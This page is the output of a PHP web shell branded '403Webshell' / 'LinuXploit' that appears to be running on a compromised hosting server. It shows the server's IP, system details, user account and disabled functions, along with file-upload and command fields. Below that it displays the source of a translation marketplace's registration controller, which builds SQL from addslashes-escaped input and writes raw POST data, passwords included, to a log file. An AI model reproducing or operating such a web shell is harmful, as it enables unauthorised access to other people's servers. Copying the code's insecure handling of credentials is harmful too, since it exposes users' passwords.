403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/translator/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/translator/controllers/register1.php
<?php

include 'connection.php';
include "../vendor/autoload.php";
/*
$neo = new \NeoPHP\NeoRPC(true);
$neo->setNode("https://seed0.cityofzion.io:443");*/

$data = array();

// $_POST['email']= 'demo3@gmail.com';
// $_POST['password']= '12345';
// $_POST['neo_address'] = 'abcdef1234';
echo "<PRE>";
print_r($_POST);
exit;

if (isset($_POST['email']) && !empty($_POST['email']) && isset($_POST['password']) && !empty($_POST['password'])) {

    $sqlCheckP = 'SELECT * FROM `tbl_translators` WHERE email = "' . addslashes(trim($_POST['email'])) . '"';
    $resultCheckP = $mysqli->query($sqlCheckP);
// echo $sqlCheckP; exit;
    $is_exist = 0;
    $salt = '';

    while ($rowC = $resultCheckP->fetch_object()) {
        $email = strtolower(trim($rowC->email));
        //$neo_address = strtolower(trim($rowC->neo_address));
        $is_exist = 1;
        if ($email == strtolower(trim($_POST['email']))) {
            $data['status'] = 400;
            $data['message'] = 'This email address is already registered';
        /*} else if ($neo_address == strtolower(trim($_POST['neo_address']))) {
            $data['status'] = 400;
            $data['message'] = 'This neo address is already registered';*/
        } 
    }
    

    if ($is_exist == 0) {
        $salt = uniqid(mt_rand(), true);
        $passwordSHA = SHA1($salt . SHA1($salt . SHA1(trim($_POST['password']))));

        $is_neo_verified = 0;
        /*if(isNeoNodeConnected()){
            if ($neo->validateAddress(trim($_POST['neo_address']))) {
                $is_neo_verified = 1;
            }
        }*/

        $sql = 'INSERT INTO `tbl_translators`(is_neo_verified , `email`,salt, password, created_at, last_login_ip)'
                . 'VALUES (' . $is_neo_verified . ',"' . addslashes(trim($_POST['email'])) . '", "' . (addslashes($salt)) . '" , "' . (addslashes($passwordSHA) ) . '", '
                . '"' . date("Y-m-d H:i:s") . '","' . addslashes($ipaddress) . '")';
				exit;
        //$result = $mysqli->query($sql);
		pflog( "===========================================================================");
		pflog( "Response:\n". print_r( $_POST, true ) );
        $user_id = mysqli_insert_id($mysqli);
		
		if($user_id > 0) {
			
			$_SESSION['tm_email'] = trim($_POST['email']);
			$_SESSION['tm_name'] = "";
			$_SESSION['tm_language_id'] = 0;
			$_SESSION['tm_neo'] = trim($_POST['neo_address']);
			$_SESSION['tm_id'] = $user_id;
			$_SESSION['tm_credits'] = 0;
			$_SESSION['tm_is_email_verified'] = 0;
			$_SESSION['tm_is_neo_verified'] = $is_neo_verified;
			$_SESSION['tm_language_name'] = '';

	
			$subject = 'New Signup - TranslateMe Market';
	
			$mail .= '<p>Hello,</p>';
			$mail .= '<p>There\'s new signup with the following details. </p>';
			$mail .= '<p>Email: ' . $_POST['email'] . '</p>';
			//$mail .= '<p>Neo Address: ' . $_POST['neo_address'] . '</p>';

			$headers = "MIME-Version: 1.0" . "\r\n";
			$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
			$headers .= 'From: <noreply@translateme.market>' . "\r\n";

	//        mail('support@translateme.network', $subject, $mail, $headers);

			$data['status'] = 200;
			$data['message'] = "Registered successfully.";
		} else {
			$data['status'] = 300;
			$data['message'] = "Something went wrong, please try again later.";
		}
    }
}

echo json_encode($data);


function isNeoNodeConnected(){
    $ch = curl_init('https://seed0.cityofzion.io:443');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT_MS, 200);
    $data = curl_exec($ch);
    $curl_errno = curl_errno($ch);
    $curl_error = curl_error($ch);
    curl_close($ch);

    if ($curl_errno > 0) {
         return false;
    } else {
        return true;
    }
}
function pflog( $msg = '', $close = false ) {
    static $fh = 0;
    global $module;

    // Only log if debugging is enabled
    if( true )
    {
        if( $close )
        {
            fclose( $fh );
        }
        else
        {
            // If file doesn't exist, create it
            if( !$fh )
            {
                $pathinfo = pathinfo( __FILE__ );
                $fh = fopen( $pathinfo['dirname'] .'/market_logs.log', 'a+' );
            }

            // If file was successfully created
            if( $fh )
            {
                $line = date( 'Y-m-d H:i:s' ) .' : '. $msg ."\n";

                fwrite( $fh, $line );
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit